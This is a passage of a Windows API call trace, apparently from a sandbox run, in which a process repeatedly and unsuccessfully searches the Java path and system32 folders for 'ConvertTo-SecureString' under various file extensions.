nBufferLength=0x105, lpBuffer=0x99adf48, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0121.728] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3a4) returned 1 [0121.728] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath" (normalized: "c:\\programdata\\oracle\\java\\javapath"), fInfoLevelId=0x0, lpFileInformation=0x99ae420 | out: lpFileInformation=0x99ae420*(dwFileAttributes=0x410, ftCreationTime.dwLowDateTime=0x8d26c806, ftCreationTime.dwHighDateTime=0x1d2d445, ftLastAccessTime.dwLowDateTime=0x8d26c806, ftLastAccessTime.dwHighDateTime=0x1d2d445, ftLastWriteTime.dwLowDateTime=0x8d26c806, ftLastWriteTime.dwHighDateTime=0x1d2d445, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0121.728] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3a0) returned 1 [0121.728] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae41c) returned 1 [0121.728] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0121.728] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\ConvertTo-SecureString.JSE", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath\\ConvertTo-SecureString.JSE", lpFilePart=0x0) returned 0x3e [0121.728] GetFullPathNameW (in: lpFileName="ConvertTo-SecureString.JSE", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ConvertTo-SecureString.JSE", lpFilePart=0x0) returned 0x38 [0121.728] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\ConvertTo-SecureString.JSE", lpFindFileData=0x99ae144 | out: lpFindFileData=0x99ae144) returned 0xffffffff [0121.728] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae428) returned 1 [0121.729] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae434) returned 1 [0121.729] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x105, lpBuffer=0x99adf48, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0121.729] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3a4) returned 1 [0121.729] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath" (normalized: "c:\\programdata\\oracle\\java\\javapath"), fInfoLevelId=0x0, lpFileInformation=0x99ae420 | out: lpFileInformation=0x99ae420*(dwFileAttributes=0x410, ftCreationTime.dwLowDateTime=0x8d26c806, ftCreationTime.dwHighDateTime=0x1d2d445, ftLastAccessTime.dwLowDateTime=0x8d26c806, ftLastAccessTime.dwHighDateTime=0x1d2d445, ftLastWriteTime.dwLowDateTime=0x8d26c806, ftLastWriteTime.dwHighDateTime=0x1d2d445, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0121.729] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3a0) returned 1 [0121.729] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae41c) returned 1 [0121.729] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0121.729] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\ConvertTo-SecureString.WSF", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath\\ConvertTo-SecureString.WSF", lpFilePart=0x0) returned 0x3e [0121.729] GetFullPathNameW (in: lpFileName="ConvertTo-SecureString.WSF", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ConvertTo-SecureString.WSF", lpFilePart=0x0) returned 0x38 [0121.729] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\ConvertTo-SecureString.WSF", lpFindFileData=0x99ae144 | out: lpFindFileData=0x99ae144) returned 0xffffffff [0121.729] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae428) returned 1 [0121.729] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae434) returned 1 [0121.729] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x105, lpBuffer=0x99adf48, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0121.729] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3a4) returned 1 [0121.729] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath" (normalized: "c:\\programdata\\oracle\\java\\javapath"), fInfoLevelId=0x0, lpFileInformation=0x99ae420 | out: lpFileInformation=0x99ae420*(dwFileAttributes=0x410, ftCreationTime.dwLowDateTime=0x8d26c806, ftCreationTime.dwHighDateTime=0x1d2d445, ftLastAccessTime.dwLowDateTime=0x8d26c806, ftLastAccessTime.dwHighDateTime=0x1d2d445, ftLastWriteTime.dwLowDateTime=0x8d26c806, ftLastWriteTime.dwHighDateTime=0x1d2d445, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0121.730] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3a0) returned 1 [0121.730] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae41c) returned 1 [0121.730] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0121.730] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\ConvertTo-SecureString.WSH", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath\\ConvertTo-SecureString.WSH", lpFilePart=0x0) returned 0x3e [0121.730] GetFullPathNameW (in: lpFileName="ConvertTo-SecureString.WSH", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ConvertTo-SecureString.WSH", lpFilePart=0x0) returned 0x38 [0121.730] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\ConvertTo-SecureString.WSH", lpFindFileData=0x99ae144 | out: lpFindFileData=0x99ae144) returned 0xffffffff [0121.730] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae428) returned 1 [0121.730] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae434) returned 1 [0121.730] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x105, lpBuffer=0x99adf48, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0121.730] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3a4) returned 1 [0121.730] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath" (normalized: "c:\\programdata\\oracle\\java\\javapath"), fInfoLevelId=0x0, lpFileInformation=0x99ae420 | out: lpFileInformation=0x99ae420*(dwFileAttributes=0x410, ftCreationTime.dwLowDateTime=0x8d26c806, ftCreationTime.dwHighDateTime=0x1d2d445, ftLastAccessTime.dwLowDateTime=0x8d26c806, ftLastAccessTime.dwHighDateTime=0x1d2d445, ftLastWriteTime.dwLowDateTime=0x8d26c806, ftLastWriteTime.dwHighDateTime=0x1d2d445, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0121.730] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3a0) returned 1 [0121.730] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae41c) returned 1 [0121.730] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0121.730] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\ConvertTo-SecureString.MSC", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath\\ConvertTo-SecureString.MSC", lpFilePart=0x0) returned 0x3e [0121.731] GetFullPathNameW (in: lpFileName="ConvertTo-SecureString.MSC", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ConvertTo-SecureString.MSC", lpFilePart=0x0) returned 0x38 [0121.731] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\ConvertTo-SecureString.MSC", lpFindFileData=0x99ae144 | out: lpFindFileData=0x99ae144) returned 0xffffffff [0121.731] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae428) returned 1 [0121.731] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae434) returned 1 [0121.731] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x105, lpBuffer=0x99adf48, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0121.731] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3a4) returned 1 [0121.731] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath" (normalized: "c:\\programdata\\oracle\\java\\javapath"), fInfoLevelId=0x0, lpFileInformation=0x99ae420 | out: lpFileInformation=0x99ae420*(dwFileAttributes=0x410, ftCreationTime.dwLowDateTime=0x8d26c806, ftCreationTime.dwHighDateTime=0x1d2d445, ftLastAccessTime.dwLowDateTime=0x8d26c806, ftLastAccessTime.dwHighDateTime=0x1d2d445, ftLastWriteTime.dwLowDateTime=0x8d26c806, ftLastWriteTime.dwHighDateTime=0x1d2d445, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0121.731] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3a0) returned 1 [0121.731] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae41c) returned 1 [0121.731] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0121.731] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\ConvertTo-SecureString.CPL", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath\\ConvertTo-SecureString.CPL", lpFilePart=0x0) returned 0x3e [0121.731] GetFullPathNameW (in: lpFileName="ConvertTo-SecureString.CPL", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ConvertTo-SecureString.CPL", lpFilePart=0x0) returned 0x38 [0121.731] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\ConvertTo-SecureString.CPL", lpFindFileData=0x99ae144 | out: lpFindFileData=0x99ae144) returned 0xffffffff [0121.732] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae428) returned 1 [0121.732] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae434) returned 1 [0121.732] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x105, lpBuffer=0x99adf48, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0121.732] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3a4) returned 1 [0121.732] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath" (normalized: "c:\\programdata\\oracle\\java\\javapath"), fInfoLevelId=0x0, lpFileInformation=0x99ae420 | out: lpFileInformation=0x99ae420*(dwFileAttributes=0x410, ftCreationTime.dwLowDateTime=0x8d26c806, ftCreationTime.dwHighDateTime=0x1d2d445, ftLastAccessTime.dwLowDateTime=0x8d26c806, ftLastAccessTime.dwHighDateTime=0x1d2d445, ftLastWriteTime.dwLowDateTime=0x8d26c806, ftLastWriteTime.dwHighDateTime=0x1d2d445, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0121.732] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3a0) returned 1 [0121.732] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae41c) returned 1 [0121.732] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0121.732] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\ConvertTo-SecureString", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath\\ConvertTo-SecureString", lpFilePart=0x0) returned 0x3a [0121.732] GetFullPathNameW (in: lpFileName="ConvertTo-SecureString", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ConvertTo-SecureString", lpFilePart=0x0) returned 0x34 [0121.732] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\ConvertTo-SecureString", lpFindFileData=0x99ae144 | out: lpFindFileData=0x99ae144) returned 0xffffffff [0121.732] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae428) returned 1 [0121.732] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae434) returned 1 [0121.733] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x99adf48, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0121.733] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3a4) returned 1 [0121.733] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32"), fInfoLevelId=0x0, lpFileInformation=0x99ae420 | out: lpFileInformation=0x99ae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9726f8de, ftCreationTime.dwHighDateTime=0x1d0baef, ftLastAccessTime.dwLowDateTime=0x139c0a0d, ftLastAccessTime.dwHighDateTime=0x1d4ae21, ftLastWriteTime.dwLowDateTime=0x139c0a0d, ftLastWriteTime.dwHighDateTime=0x1d4ae21, nFileSizeHigh=0x0, nFileSizeLow=0xa0000)) returned 1 [0121.733] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3a0) returned 1 [0121.733] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae41c) returned 1 [0121.733] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0121.733] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\ConvertTo-SecureString.ps1", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\ConvertTo-SecureString.ps1", lpFilePart=0x0) returned 0x2e [0121.733] GetFullPathNameW (in: lpFileName="ConvertTo-SecureString.ps1", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ConvertTo-SecureString.ps1", lpFilePart=0x0) returned 0x38 [0121.733] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\ConvertTo-SecureString.ps1", lpFindFileData=0x99ae144 | out: lpFindFileData=0x99ae144) returned 0xffffffff [0121.733] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae428) returned 1 [0121.733] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae434) returned 1 [0121.733] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x99adf48, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0121.733] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3a4) returned 1 [0121.733] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32"), fInfoLevelId=0x0, lpFileInformation=0x99ae420 | out: lpFileInformation=0x99ae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9726f8de, ftCreationTime.dwHighDateTime=0x1d0baef, ftLastAccessTime.dwLowDateTime=0x139c0a0d, ftLastAccessTime.dwHighDateTime=0x1d4ae21, ftLastWriteTime.dwLowDateTime=0x139c0a0d, ftLastWriteTime.dwHighDateTime=0x1d4ae21, nFileSizeHigh=0x0, nFileSizeLow=0xa0000)) returned 1 [0121.734] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3a0) returned 1 [0121.734] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae41c) returned 1 [0121.734] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0121.734] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\ConvertTo-SecureString.psm1", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\ConvertTo-SecureString.psm1", lpFilePart=0x0) returned 0x2f [0121.734] GetFullPathNameW (in: lpFileName="ConvertTo-SecureString.psm1", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ConvertTo-SecureString.psm1", lpFilePart=0x0) returned 0x39 [0121.734] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\ConvertTo-SecureString.psm1", lpFindFileData=0x99ae144 | out: lpFindFileData=0x99ae144) returned 0xffffffff [0121.734] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae428) returned 1 [0121.734] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae434) returned 1 [0121.734] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x99adf48, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0121.734] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3a4) returned 1 [0121.734] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32"), fInfoLevelId=0x0, lpFileInformation=0x99ae420 | out: lpFileInformation=0x99ae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9726f8de, ftCreationTime.dwHighDateTime=0x1d0baef, ftLastAccessTime.dwLowDateTime=0x139c0a0d, ftLastAccessTime.dwHighDateTime=0x1d4ae21, ftLastWriteTime.dwLowDateTime=0x139c0a0d, ftLastWriteTime.dwHighDateTime=0x1d4ae21, nFileSizeHigh=0x0, nFileSizeLow=0xa0000)) returned 1 [0121.734] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3a0) returned 1 [0121.734] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae41c) returned 1 [0121.734] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0121.734] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\ConvertTo-SecureString.psd1", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\ConvertTo-SecureString.psd1", lpFilePart=0x0) returned 0x2f [0121.735] GetFullPathNameW (in: lpFileName="ConvertTo-SecureString.psd1", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ConvertTo-SecureString.psd1", lpFilePart=0x0) returned 0x39 [0121.735] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\ConvertTo-SecureString.psd1", lpFindFileData=0x99ae144 | out: lpFindFileData=0x99ae144) returned 0xffffffff [0121.735] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae428) returned 1 [0121.735] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae434) returned 1 [0121.735] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x99adf48, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0121.735] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3a4) returned 1 [0121.735] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32"), fInfoLevelId=0x0, lpFileInformation=0x99ae420 | out: lpFileInformation=0x99ae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9726f8de, ftCreationTime.dwHighDateTime=0x1d0baef, ftLastAccessTime.dwLowDateTime=0x139c0a0d, ftLastAccessTime.dwHighDateTime=0x1d4ae21, ftLastWriteTime.dwLowDateTime=0x139c0a0d, ftLastWriteTime.dwHighDateTime=0x1d4ae21, nFileSizeHigh=0x0, nFileSizeLow=0xa0000)) returned 1 [0121.735] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3a0) returned 1 [0121.735] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae41c) returned 1 [0121.735] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0121.735] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\ConvertTo-SecureString.COM", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\ConvertTo-SecureString.COM", lpFilePart=0x0) returned 0x2e [0121.735] GetFullPathNameW (in: lpFileName="ConvertTo-SecureString.COM", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ConvertTo-SecureString.COM", lpFilePart=0x0) returned 0x38 [0121.735] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\ConvertTo-SecureString.COM", lpFindFileData=0x99ae144 | out: lpFindFileData=0x99ae144) returned 0xffffffff [0121.736] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae428) returned 1 [0121.736] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae434) returned 1 [0121.736] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x99adf48, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0121.736] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3a4) returned 1 [0121.736] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32"), fInfoLevelId=0x0, lpFileInformation=0x99ae420 | out: lpFileInformation=0x99ae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9726f8de, ftCreationTime.dwHighDateTime=0x1d0baef, ftLastAccessTime.dwLowDateTime=0x139c0a0d, ftLastAccessTime.dwHighDateTime=0x1d4ae21, ftLastWriteTime.dwLowDateTime=0x139c0a0d, ftLastWriteTime.dwHighDateTime=0x1d4ae21, nFileSizeHigh=0x0, nFileSizeLow=0xa0000)) returned 1 [0121.736] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3a0) returned 1 [0121.736] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae41c) returned 1 [0121.736] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0121.736] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\ConvertTo-SecureString.EXE", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\ConvertTo-SecureString.EXE", lpFilePart=0x0) returned 0x2e [0121.736] GetFullPathNameW (in: lpFileName="ConvertTo-SecureString.EXE", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ConvertTo-SecureString.EXE", lpFilePart=0x0) returned 0x38 [0121.736] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\ConvertTo-SecureString.EXE", lpFindFileData=0x99ae144 | out: lpFindFileData=0x99ae144) returned 0xffffffff [0121.736] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae428) returned 1 [0121.736] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae434) returned 1 [0121.736] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x99adf48, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0121.737] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3a4) returned 1 [0121.737] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32"), fInfoLevelId=0x0, lpFileInformation=0x99ae420 | out: lpFileInformation=0x99ae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9726f8de, ftCreationTime.dwHighDateTime=0x1d0baef, ftLastAccessTime.dwLowDateTime=0x139c0a0d, ftLastAccessTime.dwHighDateTime=0x1d4ae21, ftLastWriteTime.dwLowDateTime=0x139c0a0d, ftLastWriteTime.dwHighDateTime=0x1d4ae21, nFileSizeHigh=0x0, nFileSizeLow=0xa0000)) returned 1 [0121.737] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3a0) returned 1 [0121.737] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae41c) returned 1 [0121.737] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0121.737] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\ConvertTo-SecureString.BAT", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\ConvertTo-SecureString.BAT", lpFilePart=0x0) returned 0x2e [0121.737] GetFullPathNameW (in: lpFileName="ConvertTo-SecureString.BAT", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ConvertTo-SecureString.BAT", lpFilePart=0x0) returned 0x38 [0121.737] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\ConvertTo-SecureString.BAT", lpFindFileData=0x99ae144 | out: lpFindFileData=0x99ae144) returned 0xffffffff [0121.737] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae428) returned 1 [0121.737] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae434) returned 1 [0121.737] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x99adf48, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0121.737] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3a4) returned 1 [0121.737] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32"), fInfoLevelId=0x0, lpFileInformation=0x99ae420 | out: lpFileInformation=0x99ae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9726f8de, ftCreationTime.dwHighDateTime=0x1d0baef, ftLastAccessTime.dwLowDateTime=0x139c0a0d, ftLastAccessTime.dwHighDateTime=0x1d4ae21, ftLastWriteTime.dwLowDateTime=0x139c0a0d, ftLastWriteTime.dwHighDateTime=0x1d4ae21, 